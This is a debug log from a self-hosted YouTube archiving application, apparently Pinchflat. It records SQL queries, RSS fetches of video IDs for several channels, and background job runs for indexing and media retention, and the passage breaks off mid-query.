idle=1054.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:50:42.056 [debug] QUERY OK source="sources" db=0.1ms idle=1054.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:50:42.056 [debug] QUERY OK source="settings" db=0.1ms idle=1007.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:50:42.056 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:50:42.057 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:42.057 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:42.057 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:50:42.057 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 00:50:42.057 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:50:42.057 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 00:50:42.182 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:50:42.182 [debug] QUERY OK source="media_items" db=0.2ms idle=125.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 00:50:42.182 [debug] QUERY OK source="media_items" db=0.2ms idle=125.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 00:50:42.183 [debug] QUERY OK source="tasks" db=0.0ms idle=126.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [483, 2, ~U[2026-07-24 00:50:42Z], ~U[2026-07-24 00:50:42Z]] 00:50:42.183 [info] {"args":{"id":2},"id":481,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":127319,"event":"job:stop","queue_time":57319,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:50:42.730 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:50:42.731 [debug] QUERY OK source="media_items" db=0.2ms idle=547.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 00:50:42.733 [debug] QUERY OK source="media_items" db=2.0ms idle=548.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:50:42.734 [debug] QUERY OK source="tasks" db=0.0ms idle=544.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [484, 1, ~U[2026-07-24 00:50:42Z], ~U[2026-07-24 00:50:42Z]] 00:50:42.734 [info] {"args":{"id":1},"id":480,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":678251,"event":"job:stop","queue_time":337352,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:50:55.076 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.781 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:51:25.077 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:55.078 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.782 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:52:25.079 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:55.080 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.783 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:53:25.081 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:55.082 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.783 [info] {"source":"oban","duration":114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:54:25.084 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:55.085 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:57.345 [info] {"args":{"id":3},"id":482,"meta":{},"system_time":1784854497345497347,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:54:57.345 [debug] QUERY OK source="sources" db=0.1ms idle=343.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:54:57.346 [debug] QUERY OK source="settings" db=0.0ms idle=344.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:54:57.346 [debug] QUERY OK source="media_profiles" db=0.0ms idle=344.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:54:57.346 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:54:57.346 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 00:54:57.469 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:54:57.470 [debug] QUERY OK source="media_items" db=0.2ms idle=124.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 00:54:57.472 [debug] QUERY OK source="media_items" db=1.8ms idle=124.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 00:54:57.473 [debug] QUERY OK source="tasks" db=0.0ms idle=126.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [485, 3, ~U[2026-07-24 00:54:57Z], ~U[2026-07-24 00:54:57Z]] 00:54:57.473 [info] {"args":{"id":3},"id":482,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128083,"event":"job:stop","queue_time":398545,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 00:55:00.785 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:55:25.086 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:55.088 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.786 [info] {"source":"oban","duration":135,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:56:25.090 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:55.092 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.787 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:57:25.093 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:55.095 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.788 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:58:25.096 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:55.099 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.789 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:59:25.100 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:55.101 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.790 [info] {"source":"oban","duration":693,"event":"plugin:stop","jobs":[486],"plugin":"Oban.Plugins.Cron"} 01:00:00.796 [info] {"args":{},"id":486,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1784854800796104519,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 01:00:00.799 [debug] QUERY OK source="media_items" db=3.3ms idle=1785.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 01:00:00.799 [info] Culling 0 media items past their retention date 01:00:00.803 [debug] QUERY OK source="media_items" db=3.1ms idle=1136.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 01:00:00.803 [info] Deleting 0 media items that are from before the source cutoff 01:00:00.803 [info] {"args":{},"id":486,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":6999,"event":"job:stop","queue_time":795748,"attempt":1,"tags":["media_item","local_data"]} 01:00:25.102 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:42.715 [info] {"args":{"id":2},"id":483,"meta":{},"system_time":1784854842715164965,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:00:42.715 [debug] QUERY OK source="sources" db=0.0ms idle=698.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 01:00:42.715 [debug] QUERY OK source="settings" db=0.0ms idle=698.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:00:42.715 [debug] QUERY OK source="media_profiles" db=0.0ms idle=699.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:00:42.715 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:00:42.715 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 01:00:43.348 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:00:43.349 [debug] QUERY OK source="media_items" db=0.3ms idle=633.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:00:43.349 [debug] QUERY OK source="media_items" db=0.2ms idle=634.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= 